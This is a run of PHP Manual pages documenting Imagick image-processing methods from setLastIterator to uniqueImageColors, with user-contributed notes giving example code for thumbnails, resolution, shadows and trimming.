Imagick::setLastIterator

(PECL imagick 2.0.1)

Imagick::setLastIterator — Sets the Imagick iterator to the last image

Description

bool Imagick::setLastIterator ( void )

Sets the Imagick iterator to the last image.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setIteratorIndex
Imagick::setOption
Imagick


Set an option

Imagick::setLastIterator
Imagick::setPage
Imagick
PHP Manual

Imagick::setOption

(PECL imagick 2.0.0)

Imagick::setOption — Set an option

Description

bool Imagick::setOption ( string $key , string $value )

Associates one or more options with the wand.

Parameters

key

value

Return Values

Returns TRUE on success.

User Contributed Notes

alexandre at gaigalas dot net 11-Jul-2011 02:43
If you want to extract a preview from a PDF file using the CropBox instead of the whole document, setOption() is the right method:

<?php
$handler = new Imagick();
$handler->setOption('pdf:use-cropbox', 'true');
$handler->readImage($imageFileName);
$handler->thumbnailImage(200, 200, true);
$handler->setImageFormat('jpeg');
$handler->writeImage($destThumbFileName);
?>

It is the equivalent to the -define pdf:use-cropbox=true for the convert command line tool. pdf:use-trimbox is also available.

Note that on my environment the setOption only worked when i called it before the readImage method, which means that you can't pass the filename to the Imagick constructor directly.
Imagick::setLastIterator
Imagick::setPage
Imagick


Sets the page geometry of the Imagick object

Imagick::setOption
Imagick::setPointSize
Imagick
PHP Manual

Imagick::setPage

(PECL imagick 2.0.0)

Imagick::setPage — Sets the page geometry of the Imagick object

Description

bool Imagick::setPage ( int $width , int $height , int $x , int $y )

Sets the page geometry of the Imagick object.

Parameters

width

height

x

y

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setOption
Imagick::setPointSize
Imagick


Sets point size

Imagick::setPage
Imagick::setResolution
Imagick
PHP Manual

Imagick::setPointSize

(PECL imagick 2.1.0)

Imagick::setPointSize — Sets point size

Description

bool Imagick::setPointSize ( float $point_size )

Sets object's point size property. This method can be used for example to set font size for caption: pseudo-format. This method is available if Imagick has been compiled against ImageMagick version 6.3.7 or newer.

Parameters

point_size

Point size

Return Values

Returns TRUE on success.

See Also

  • Imagick::getPointSize() - Gets point size

Examples

Example #1 A Imagick::setPointSize() example

Example of using Imagick::setPointSize

<?php
/* Create new imagick object */
$im = new Imagick();

/* Set the font for the object */
$im->setFont("example.ttf");

/* Set the point size */
$im->setPointSize(12);

/* Create new caption */
$im->newPseudoImage(100, 100, "caption:Hello");

/* Do something with the image */
?>

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setPage
Imagick::setResolution
Imagick


Sets the image resolution

Imagick::setPointSize
Imagick::setResourceLimit
Imagick
PHP Manual

Imagick::setResolution

(PECL imagick 2.0.0)

Imagick::setResolution — Sets the image resolution

Description

bool Imagick::setResolution ( float $x_resolution , float $y_resolution )

Sets the image resolution.

Parameters

x_resolution

y_resolution

Return Values

Returns TRUE on success.

User Contributed Notes

carter dot sharon at gmail dot com 11-Oct-2010 11:07
If you are reading or creating a new image and want to set the resolution you need to set the Image Units. Undefined image units will cause imagick to use the default resolution (72x72).

<?php
$img = new Imagick();

$img->setResolution(300,300);
$img->newimage(100,100,'none');
$img->setImageFormat('png');
// imagick::RESOLUTION_UNDEFINED  imagick::RESOLUTION_PIXELSPERINCH  imagick::RESOLUTION_PIXELSPERCENTIMETER

$img->setImageUnits(imagick::RESOLUTION_PIXELSPERINCH);

print_r($img->identifyImage());

?>

Output
Array (
[resolution] => Array ( [x] => 300 [y] => 300 )
[units] => PixelsPerInch
)
sualk at lednew dot de 07-Jan-2010 06:50
This method uses the "convert -density {$x_resolution}x{$y_resolution}" parameter. However be aware, that Imagick::setResolution() is much more alike the "convert -density" option than Imagick::setImageResolution()

It's very irritating that both Imagick::setResolution() and Imagick::setImageResolution() are introduced with "Sets the image resolution."

Use Imagick::setResolution() prior to reading a raster image. This method does not affect an image. However this method tells the image to which size it has to be sized in relation to images inherent resolution! With this method you are able to affect the real pixel-size of an image after reading. E.g. your image has a size of 100x100 pixels and an inherent resolution of 72. Setting the Resolution to 144 and reading this image results in a new image size of 200x200 pixels.

<?php
$im = new Imagick();
$im->setResolution(144,144);
$im->readImage("test.eps");
$im->setImageFormat("png");
header("Content-Type: image/png");
echo $im;
?>

Use Imagick::setImageResolution() to alter the resolution of an already read image. This method does not actually change the size of an image, but has influence to methods, which depends on a given image resolution like Imagick::resampleImage(). E.g. your image has a size of 100x100 pixels and a resolution of 72. Setting ImageResolution to 144 does nothing, unless you are resampling image afterwards in relation to the ImageResolution you set!

<?php
$im = new Imagick();
$im->readImage("test.eps");
$im->setImageResolution(144,144);
$im->resampleImage  (288,288,imagick::FILTER_UNDEFINED,1);
$im->setImageFormat("png");
header("Content-Type: image/png");
echo $im;
?>

which actually does the same like

<?php
$im = new Imagick();
$im->readImage("test.eps");
$im->setImageResolution(72,72);
$im->resampleImage  (144,144,imagick::FILTER_UNDEFINED,1);
$im->setImageFormat("png");
header("Content-Type: image/png");
echo $im;
?>
znupi69 com 23-Aug-2008 11:55
If you want to resize a vector-graphics image (such as SVG) to a certain dimension in pixels, without losing quality, you have to do this:

<?php

$im = new Imagick();
$im->readImage("/path/to/image.svg");
$res = $im->getImageResolution();
$x_ratio = $res['x'] / $im->getImageWidth();
$y_ratio = $res['y'] / $im->getImageHeight();
$im->removeImage();
$im->setResolution($width_in_pixels * $x_ratio, $height_in_pixels * $y_ratio);
$im->readImage("/path/to/image.svg");
// Now you can do anything with the image, such as convert to a raster image and output it to the browser:
$im->setImageFormat("png");
header("Content-Type: image/png");
echo $im;

?>

It took me a couple or so days to figure this out, I hope this saves someone else's time! Have fun! :-)
Imagick::setPointSize
Imagick::setResourceLimit
Imagick


Sets the limit for a particular resource in megabytes

Imagick::setResolution
Imagick::setSamplingFactors
Imagick
PHP Manual

Imagick::setResourceLimit

(PECL imagick 2.0.0)

Imagick::setResourceLimit — Sets the limit for a particular resource in megabytes

Description

bool Imagick::setResourceLimit ( int $type , int $limit )

Sets the limit for a particular resource in megabytes.

Parameters

type

limit

Return Values

Returns TRUE on success.

User Contributed Notes

rodneyrehm 08-Nov-2011 12:00
IMagick::RESOURCETYPE_THREADS is missing, yet you're still able to limit the number of thready ImageMagick should use:

<?php
// IMagick::setResourceLimit(IMagick::RESOURCETYPE_THREADS, 2);
IMagick::setResourceLimit(6, 2);
Imagick::setResolution
Imagick::setSamplingFactors
Imagick


Sets the image sampling factors

Imagick::setResourceLimit
Imagick::setSize
Imagick
PHP Manual

Imagick::setSamplingFactors

(PECL imagick 2.0.0)

Imagick::setSamplingFactors — Sets the image sampling factors

Description

bool Imagick::setSamplingFactors ( array $factors )

Sets the image sampling factors.

Parameters

factors

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setResourceLimit
Imagick::setSize
Imagick


Sets the size of the Imagick object

Imagick::setSamplingFactors
Imagick::setSizeOffset
Imagick
PHP Manual

Imagick::setSize

(PECL imagick 2.0.0)

Imagick::setSize — Sets the size of the Imagick object

Description

bool Imagick::setSize ( int $columns , int $rows )

Sets the size of the Imagick object. Set it before you read a raw image format such as RGB, GRAY, or CMYK.

Parameters

columns

rows

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setSamplingFactors
Imagick::setSizeOffset
Imagick


Sets the size and offset of the Imagick object

Imagick::setSize
Imagick::setType
Imagick
PHP Manual

Imagick::setSizeOffset

(PECL imagick 2.0.0)

Imagick::setSizeOffset — Sets the size and offset of the Imagick object

Description

bool Imagick::setSizeOffset ( int $columns , int $rows , int $offset )

Sets the size and offset of the Imagick object. Set it before you read a raw image format such as RGB, GRAY, or CMYK. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

columns

The width in pixels.

rows

The height in pixels.

offset

The image offset.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setSize
Imagick::setType
Imagick


Sets the image type attribute

Imagick::setSizeOffset
Imagick::shadeImage
Imagick
PHP Manual

Imagick::setType

(PECL imagick 2.0.0)

Imagick::setType — Sets the image type attribute

Description

bool Imagick::setType ( int $image_type )

Sets the image type attribute.

Parameters

image_type

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setSizeOffset
Imagick::shadeImage
Imagick


Creates a 3D effect

Imagick::setType
Imagick::shadowImage
Imagick
PHP Manual

Imagick::shadeImage

(PECL imagick 2.0.0)

Imagick::shadeImage — Creates a 3D effect

Description

bool Imagick::shadeImage ( bool $gray , float $azimuth , float $elevation )

Shines a distant light on an image to create a three-dimensional effect. You control the positioning of the light with azimuth and elevation; azimuth is measured in degrees off the x axis and elevation is measured in pixels above the Z axis. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

gray

A value other than zero shades the intensity of each pixel.

azimuth

Defines the light source direction.

elevation

Defines the light source direction.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::setType
Imagick::shadowImage
Imagick


Simulates an image shadow

Imagick::shadeImage
Imagick::sharpenImage
Imagick
PHP Manual

Imagick::shadowImage

(PECL imagick 2.0.0)

Imagick::shadowImage — Simulates an image shadow

Description

bool Imagick::shadowImage ( float $opacity , float $sigma , int $x , int $y )

Simulates an image shadow.

Parameters

opacity

sigma

x

y

Return Values

Returns TRUE on success.

User Contributed Notes

nilayanand at gmail dot com 27-Jul-2009 10:43
<?php
/* Read the image into the object */
$im = new Imagick( 'a.jpg' );
$im->setImageFormat("png");

/* Make the image a little smaller, maintain aspect ratio */
$im->thumbnailImage( 200, null );

/* Clone the current object */
$shadow = $im->clone();

/* Set image background color to black
        (this is the color of the shadow) */
$shadow->setImageBackgroundColor( new ImagickPixel( 'black' ) );

/* Create the shadow */
$shadow->shadowImage( 80, 3, 5, 5 );

/* Imagick::shadowImage only creates the shadow.
        That is why the original image is composited over it */
$shadow->compositeImage( $im, Imagick::COMPOSITE_OVER, 0, 0 );

/* Display the image */
header( "Content-Type: image/jpeg" );
echo $shadow;
?>
Imagick::shadeImage
Imagick::sharpenImage
Imagick


Sharpens an image

Imagick::shadowImage
Imagick::shaveImage
Imagick
PHP Manual

Imagick::sharpenImage

(PECL imagick 2.0.0)

Imagick::sharpenImage — Sharpens an image

Description

bool Imagick::sharpenImage ( float $radius , float $sigma [, int $channel = Imagick::CHANNEL_ALL ] )

Sharpens an image. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, the radius should be larger than sigma. Use a radius of 0 and selects a suitable radius for you.

Parameters

radius

sigma

channel

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::shadowImage
Imagick::shaveImage
Imagick


Shaves pixels from the image edges

Imagick::sharpenImage
Imagick::shearImage
Imagick
PHP Manual

Imagick::shaveImage

(PECL imagick 2.0.0)

Imagick::shaveImage — Shaves pixels from the image edges

Description

bool Imagick::shaveImage ( int $columns , int $rows )

Shaves pixels from the image edges. It allocates the memory necessary for the new Image structure and returns a pointer to the new image.

Parameters

columns

rows

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::sharpenImage
Imagick::shearImage
Imagick


Creating a parallelogram

Imagick::shaveImage
Imagick::sigmoidalContrastImage
Imagick
PHP Manual

Imagick::shearImage

(PECL imagick 2.0.0)

Imagick::shearImage — Creating a parallelogram

Description

bool Imagick::shearImage ( mixed $background , float $x_shear , float $y_shear )

Slides one edge of an image along the X or Y axis, creating a parallelogram. An X direction shear slides an edge along the X axis, while a Y direction shear slides an edge along the Y axis. The amount of the shear is controlled by a shear angle. For X direction shears, x_shear is measured relative to the Y axis, and similarly, for Y direction shears y_shear is measured relative to the X axis. Empty triangles left over from shearing the image are filled with the background color.

Parameters

background

The background color

x_shear

The number of degrees to shear on the x axis

y_shear

The number of degrees to shear on the y axis

Return Values

Returns TRUE on success.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the first parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

raja at tweetchennai dot com 13-Aug-2009 05:42
Eg:

<?php
$image = new Imagick('pic.png');
$image ->shearImage('grey', 10 , 5);
$image ->writeImage('final.png');
?>
Imagick::shaveImage
Imagick::sigmoidalContrastImage
Imagick


Adjusts the contrast of an image

Imagick::shearImage
Imagick::sketchImage
Imagick
PHP Manual

Imagick::sigmoidalContrastImage

(PECL imagick 2.0.0)

Imagick::sigmoidalContrastImage — Adjusts the contrast of an image

Description

bool Imagick::sigmoidalContrastImage ( bool $sharpen , float $alpha , float $beta [, int $channel = Imagick::CHANNEL_ALL ] )

Adjusts the contrast of an image with a non-linear sigmoidal contrast algorithm. Increase the contrast of the image using a sigmoidal transfer function without saturating highlights or shadows. Contrast indicates how much to increase the contrast (0 is none; 3 is typical; 20 is pushing it); mid-point indicates where midtones fall in the resultant image (0 is white; 50 is middle-gray; 100 is black). Set sharpen to TRUE to increase the image contrast otherwise the contrast is reduced.

Parameters

sharpen

alpha

beta

channel

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::shearImage
Imagick::sketchImage
Imagick


Simulates a pencil sketch

Imagick::sigmoidalContrastImage
Imagick::solarizeImage
Imagick
PHP Manual

Imagick::sketchImage

(PECL imagick 2.0.0)

Imagick::sketchImage — Simulates a pencil sketch

Description

bool Imagick::sketchImage ( float $radius , float $sigma , float $angle )

Simulates a pencil sketch. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and Imagick::sketchImage() selects a suitable radius for you. Angle gives the angle of the blurring motion. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

radius

The radius of the Gaussian, in pixels, not counting the center pixel

sigma

The standard deviation of the Gaussian, in pixels.

angle

Apply the effect along this angle.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::sigmoidalContrastImage
Imagick::solarizeImage
Imagick


Applies a solarizing effect to the image

Imagick::sketchImage
Imagick::sparseColorImage
Imagick
PHP Manual

Imagick::solarizeImage

(PECL imagick 2.0.0)

Imagick::solarizeImage — Applies a solarizing effect to the image

Description

bool Imagick::solarizeImage ( int $threshold )

Applies a special effect to the image, similar to the effect achieved in a photo darkroom by selectively exposing areas of photo sensitive paper to light. Threshold ranges from 0 to QuantumRange and is a measure of the extent of the solarization.

Parameters

threshold

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::sketchImage
Imagick::sparseColorImage
Imagick


Interpolates colors

Imagick::solarizeImage
Imagick::spliceImage
Imagick
PHP Manual

Imagick::sparseColorImage

(No version information available, might only be in SVN)

Imagick::sparseColorImage — Interpolates colors

Description

public bool Imagick::sparseColorImage ( int $SPARSE_METHOD , array $arguments [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Given the arguments array containing numeric values this method interpolates the colors found at those coordinates across the whole image using sparse_method. This method is available if Imagick has been compiled against ImageMagick version 6.4.5 or newer.

Parameters

SPARSE_METHOD

Refer to this list of sparse method constants

arguments

An array containing the coordinates. The array is in format array(1,1, 2,45)

CHANNEL

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::solarizeImage
Imagick::spliceImage
Imagick


Splices a solid color into the image

Imagick::sparseColorImage
Imagick::spreadImage
Imagick
PHP Manual

Imagick::spliceImage

(PECL imagick 2.0.0)

Imagick::spliceImage — Splices a solid color into the image

Description

bool Imagick::spliceImage ( int $width , int $height , int $x , int $y )

Splices a solid color into the image.

Parameters

width

height

x

y

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::sparseColorImage
Imagick::spreadImage
Imagick


Randomly displaces each pixel in a block

Imagick::spliceImage
Imagick::steganoImage
Imagick
PHP Manual

Imagick::spreadImage

(PECL imagick 2.0.0)

Imagick::spreadImage — Randomly displaces each pixel in a block

Description

bool Imagick::spreadImage ( float $radius )

Special effects method that randomly displaces each pixel in a block defined by the radius parameter.

Parameters

radius

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::spliceImage
Imagick::steganoImage
Imagick


Hides a digital watermark within the image

Imagick::spreadImage
Imagick::stereoImage
Imagick
PHP Manual

Imagick::steganoImage

(PECL imagick 2.0.0)

Imagick::steganoImage — Hides a digital watermark within the image

Description

Imagick Imagick::steganoImage ( Imagick $watermark_wand , int $offset )

Hides a digital watermark within the image. Recover the hidden watermark later to prove that the authenticity of an image. Offset defines the start position within the image to hide the watermark.

Parameters

watermark_wand

offset

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::spreadImage
Imagick::stereoImage
Imagick


Composites two images

Imagick::steganoImage
Imagick::stripImage
Imagick
PHP Manual

Imagick::stereoImage

(PECL imagick 2.0.0)

Imagick::stereoImage — Composites two images

Description

bool Imagick::stereoImage ( Imagick $offset_wand )

Composites two images and produces a single image that is the composite of a left and right image of a stereo pair.

Parameters

offset_wand

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::steganoImage
Imagick::stripImage
Imagick


Strips an image of all profiles and comments

Imagick::stereoImage
Imagick::swirlImage
Imagick
PHP Manual

Imagick::stripImage

(PECL imagick 2.0.0)

Imagick::stripImage — Strips an image of all profiles and comments

Description

bool Imagick::stripImage ( void )

Strips an image of all profiles and comments.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

pengc99 02-May-2011 10:09
this will actually clear exif data so if you run an image uploading script with privacy concerns, this will effectively clear all GPS / metadata from the image.
Imagick::stereoImage
Imagick::swirlImage
Imagick


Swirls the pixels about the center of the image

Imagick::stripImage
Imagick::textureImage
Imagick
PHP Manual

Imagick::swirlImage

(PECL imagick 2.0.0)

Imagick::swirlImage — Swirls the pixels about the center of the image

Description

bool Imagick::swirlImage ( float $degrees )

Swirls the pixels about the center of the image, where degrees indicates the sweep of the arc through which each pixel is moved. You get a more dramatic effect as the degrees move from 1 to 360.

Parameters

degrees

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

Anonymous 05-Nov-2009 08:47
<?php

$img = new Imagick('blablabla.jpg');
$img->swirlImage ( 20.0 );
header("Content-Type: image/jpeg");
echo $img;

?>
Imagick::stripImage
Imagick::textureImage
Imagick


Repeatedly tiles the texture image

Imagick::swirlImage
Imagick::thresholdImage
Imagick
PHP Manual

Imagick::textureImage

(PECL imagick 2.0.0)

Imagick::textureImage — Repeatedly tiles the texture image

Description

bool Imagick::textureImage ( Imagick $texture_wand )

Repeatedly tiles the texture image across and down the image canvas.

Parameters

texture_wand

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

truthseekercz at email dot cz 08-Sep-2010 05:41
<?php

$image = new Imagick();
$image->newImage(500, 500, new ImagickPixel('red'));
$image->setImageFormat("png");
$type=$image->getFormat();
header("Content-type: $type");

$texture = new Imagick();
$texture->readImage('texture.png');
$image = $image->textureImage($texture);

echo $image;

?>

This works for me, however, I give no guarantees that the above example is the proper usage of this function.
Imagick::swirlImage
Imagick::thresholdImage
Imagick


Changes the value of individual pixels based on a threshold

Imagick::textureImage
Imagick::thumbnailImage
Imagick
PHP Manual

Imagick::thresholdImage

(PECL imagick 2.0.0)

Imagick::thresholdImage — Changes the value of individual pixels based on a threshold

Description

bool Imagick::thresholdImage ( float $threshold [, int $channel = Imagick::CHANNEL_ALL ] )

Changes the value of individual pixels based on the intensity of each pixel compared to threshold. The result is a high-contrast, two color image.

Parameters

threshold

channel

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::textureImage
Imagick::thumbnailImage
Imagick


Changes the size of an image

Imagick::thresholdImage
Imagick::tintImage
Imagick
PHP Manual

Imagick::thumbnailImage

(PECL imagick 2.0.0)

Imagick::thumbnailImage — Changes the size of an image

Description

bool Imagick::thumbnailImage ( int $columns , int $rows [, bool $bestfit = false [, bool $fill = false ]] )

Changes the size of an image to the given dimensions and removes any associated profiles. The goal is to produce small low cost thumbnail images suited for display on the Web. If TRUE is given as a third parameter then columns and rows parameters are used as maximums for each side. Both sides will be scaled down until the match or are smaller than the parameter given for the side.

Note: The behavior of the parameter bestfit changed in Imagick 3.0.0. Before this version given dimensions 400x400 an image of dimensions 200x150 would be left untouched. In Imagick 3.0.0 and later the image would be scaled up to size 400x300 as this is the "best fit" for the given dimensions. If bestfit parameter is used both width and height must be given.

Parameters

columns

Image width

rows

Image height

bestfit

Whether to force maximum values

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

jarrod at jarrodchristman dot com 29-Oct-2011 08:31
Even though thumbnailImage is meant to produce the smallest file size image possible, i found it didn't. I put together this code and bordering different compression settings, found it produced the smallest file size:

<?php
// Max vert or horiz resolution
$maxsize=550;

// create new Imagick object
$image = new Imagick('input_image_filename_and_location');

// Resizes to whichever is larger, width or height
if($image->getImageHeight() <= $image->getImageWidth())
{
// Resize image using the lanczos resampling algorithm based on width
$image->resizeImage($maxsize,0,Imagick::FILTER_LANCZOS,1);
}
else
{
// Resize image using the lanczos resampling algorithm based on height
$image->resizeImage(0,$maxsize,Imagick::FILTER_LANCZOS,1);
}

// Set to use jpeg compression
$image->setImageCompression(Imagick::COMPRESSION_JPEG);
// Set compression level (1 lowest quality, 100 highest quality)
$image->setImageCompressionQuality(75);
// Strip out unneeded meta data
$image->stripImage();
// Writes resultant image to output directory
$image->writeImage('output_image_filename_and_location');
// Destroys Imagick object, freeing allocated resources in the process
$image->destroy();

?>

I found setCompression to not function at all and had to use setImageCompression. The stripImage call is needed and strips out unneeded meta data. You can choose whatever filter you want, but i found lanczos to be the best for image reduction, though it is more computationally heavy.
Anonymous 02-Jul-2008 04:15
Here is a function to calculate the new dimensions of a thumbnail, to fit within the given dimensions on both sides.

<?php
/**
 * Calculate new image dimensions to new constraints
 *
 * @param Original X size in pixels
 * @param Original Y size in pixels
 * @return New X maximum size in pixels
 * @return New Y maximum size in pixels
 */
function scaleImage($x,$y,$cx,$cy) {
    //Set the default NEW values to be the old, in case it doesn't even need scaling
    list($nx,$ny)=array($x,$y);

    //If image is generally smaller, don't even bother
    if ($x>=$cx || $y>=$cx) {

        //Work out ratios
        if ($x>0) $rx=$cx/$x;
        if ($y>0) $ry=$cy/$y;

        //Use the lowest ratio, to ensure we don't go over the wanted image size
        if ($rx>$ry) {
            $r=$ry;
        } else {
            $r=$rx;
        }

        //Calculate the new size based on the chosen ratio
        $nx=intval($x*$r);
        $ny=intval($y*$r);
    }

    //Return the results
    return array($nx,$ny);
}
?>

Use it like this:

<?php
//Read original image and create Imagick object
$thumb=new Imagick($originalImageFilename);

//Work out new dimensions
list($newX,$newY)=scaleImage(
        $thumb->getImageWidth(),
        $thumb->getImageHeight(),
        $newMaximumWidth,
        $newMaximumHeight);

//Scale the image
$thumb->thumbnailImage($newX,$newY);

//Write the new image to a file
$thumb->writeImage($thumbnailFilename);
?>
n-sw-bit at ya dot ru 09-Jun-2008 09:48
If you want to resize your picture to fit smallest parameter:

$fitbyWidth = (($maxWidth/$w)<($maxHeight/$h)) ?true:false;

if($fitbyWidth){
    $im->thumbnailImage($maxWidth, 0, false);
}else{
    $im->thumbnailImage(0, $maxHeight, false);
}
sgarner at expio dot co dot nz 16-Oct-2007 10:11
With $fit == true, the image is resized proportionally so that its _smallest_ dimension matches the width or height specified, NOT both.

For example, if you say thumbnailImage(400, 400, true), on an image of 1600x800, it will be resized to 800x400, NOT 400x200 as you might expect.

The solution is to compare the original image's dimensions to the specified dimensions, and substitute zero for the smaller dimension, and set $fit = false.

i.e.: thumbnailImage(400, 0, false) would resize that 1600x800 image to 400x200.
raybdbomb . gmail 10-Sep-2007 04:18
As noted here
http://php.net/manual/en/ref.imagick.php
With either of the params as 0, the aspect ratio is maintained.
Imagick::thresholdImage
Imagick::tintImage
Imagick


Applies a color vector to each pixel in the image

Imagick::thumbnailImage
Imagick::transformImage
Imagick
PHP Manual

Imagick::tintImage

(PECL imagick 2.0.0)

Imagick::tintImage — Applies a color vector to each pixel in the image

Description

bool Imagick::tintImage ( mixed $tint , mixed $opacity )

Applies a color vector to each pixel in the image. The length of the vector is 0 for black and white and at its maximum for the midtones. The vector weighing function is f(x)=(1-(4.0*((x-0.5)*(x-0.5)))).

Parameters

tint

opacity

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the first parameter and a float representing the opacity value as the second parameter. Previous versions allow only an ImagickPixel objects.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::thumbnailImage
Imagick::transformImage
Imagick


Convenience method for setting crop size and the image geometry

Imagick::tintImage
Imagick::transparentPaintImage
Imagick
PHP Manual

Imagick::transformImage

(PECL imagick 2.0.0)

Imagick::transformImage — Convenience method for setting crop size and the image geometry

Description

Imagick Imagick::transformImage ( string $crop , string $geometry )

A convenience method for setting crop size and the image geometry from strings. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

crop

A crop geometry string. This geometry defines a subregion of the image to crop.

geometry

An image geometry string. This geometry defines the final size of the image.

Return Values

Returns TRUE on success.

Examples

Example #1 Using Imagick::transformImage():

The example creates a 100x100 black image.

<?php
$image = new Imagick();
$image->newImage(300, 200, "black");
$new_image = $image->transformImage("100x100", "100x100");
$new_image->writeImage('test_out.jpg');
?>

See Also

  • Imagick::cropImage() - Extracts a region of the image
  • Imagick::resizeImage() - Scales an image
  • Imagick::thumbnailImage() - Changes the size of an image

User Contributed Notes

There are no user contributed notes for this page.
Imagick::tintImage
Imagick::transparentPaintImage
Imagick


Paints pixels transparent

Imagick::transformImage
Imagick::transposeImage
Imagick
PHP Manual

Imagick::transparentPaintImage

(No version information available, might only be in SVN)

Imagick::transparentPaintImage — Paints pixels transparent

Description

bool Imagick::transparentPaintImage ( mixed $target , float $alpha , float $fuzz , bool $invert )

Paints pixels matching the target color transparent. This method is available if Imagick has been compiled against ImageMagick version 6.3.8 or newer.

Parameters

target

The target color to paint

alpha

The level of transparency: 1.0 is fully opaque and 0.0 is fully transparent.

fuzz

The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color.

invert

If TRUE paints any pixel that does not match the target color.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::transformImage
Imagick::transposeImage
Imagick


Creates a vertical mirror image

Imagick::transparentPaintImage
Imagick::transverseImage
Imagick
PHP Manual

Imagick::transposeImage

(PECL imagick 2.0.0)

Imagick::transposeImage — Creates a vertical mirror image

Description

bool Imagick::transposeImage ( void )

Creates a vertical mirror image by reflecting the pixels around the central x-axis while rotating them 90-degrees. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Return Values

Returns TRUE on success.

See Also

  • Imagick::transverseImage() - Creates a horizontal mirror image

User Contributed Notes

There are no user contributed notes for this page.
Imagick::transparentPaintImage
Imagick::transverseImage
Imagick


Creates a horizontal mirror image

Imagick::transposeImage
Imagick::trimImage
Imagick
PHP Manual

Imagick::transverseImage

(PECL imagick 2.0.0)

Imagick::transverseImage — Creates a horizontal mirror image

Description

bool Imagick::transverseImage ( void )

Creates a horizontal mirror image by reflecting the pixels around the central y-axis while rotating them 270-degrees. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Return Values

Returns TRUE on success.

See Also

  • Imagick::transposeImage() - Creates a vertical mirror image

User Contributed Notes

There are no user contributed notes for this page.
Imagick::transposeImage
Imagick::trimImage
Imagick


Remove edges from the image

Imagick::transverseImage
Imagick::uniqueImageColors
Imagick
PHP Manual

Imagick::trimImage

(PECL imagick 2.0.0)

Imagick::trimImage — Remove edges from the image

Description

bool Imagick::trimImage ( float $fuzz )

Remove edges that are the background color from the image. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

fuzz

By default target must match a particular pixel color exactly. However, in many cases two colors may differ by a small amount. The fuzz member of image defines how much tolerance is acceptable to consider two colors as the same. This parameter represents the variation on the quantum range.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::trimImage():

Trim an image, then display to the browser.

<?php
/* Create the object and read the image in */
$im = new Imagick("image.jpg");

/* Trim the image. */
$im->trimImage(0);

/* Ouput the image */
header("Content-Type: image/" . $im->getImageFormat());
echo $im;
?>

See Also

  • Imagick::getQuantumDepth() - Gets the quantum depth
  • Imagick::getQuantumRange() - Returns the Imagick quantum range

User Contributed Notes

dhp 23-Apr-2009 04:31
After operations that change the crop of the image, like trimImage does, IM preserves the old canvas and positioning info. If you need to do additional operations on the image based on the new size, you'll need to reset this info with setImagePage. This is the equivalent of the +repage command line argument.

<?php
$im->trimImage(0);
$im->setImagePage(0, 0, 0, 0);
?>
Mark van der Velden 06-Dec-2007 01:35
This method requires ImageMagick version >= 6.2.8
Imagick::transverseImage
Imagick::uniqueImageColors
Imagick


Discards all but one of any pixel color

Imagick::trimImage
Imagick::unsharpMaskImage
Imagick
PHP Manual

Imagick::uniqueImageColors

(PECL imagick 2.0.0)

Imagick::uniqueImageColors — Discards all but one of any pixel color

Description

bool Imagick::uniqueImageColors ( void )

Discards all but one of any pixel color. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::trimImage
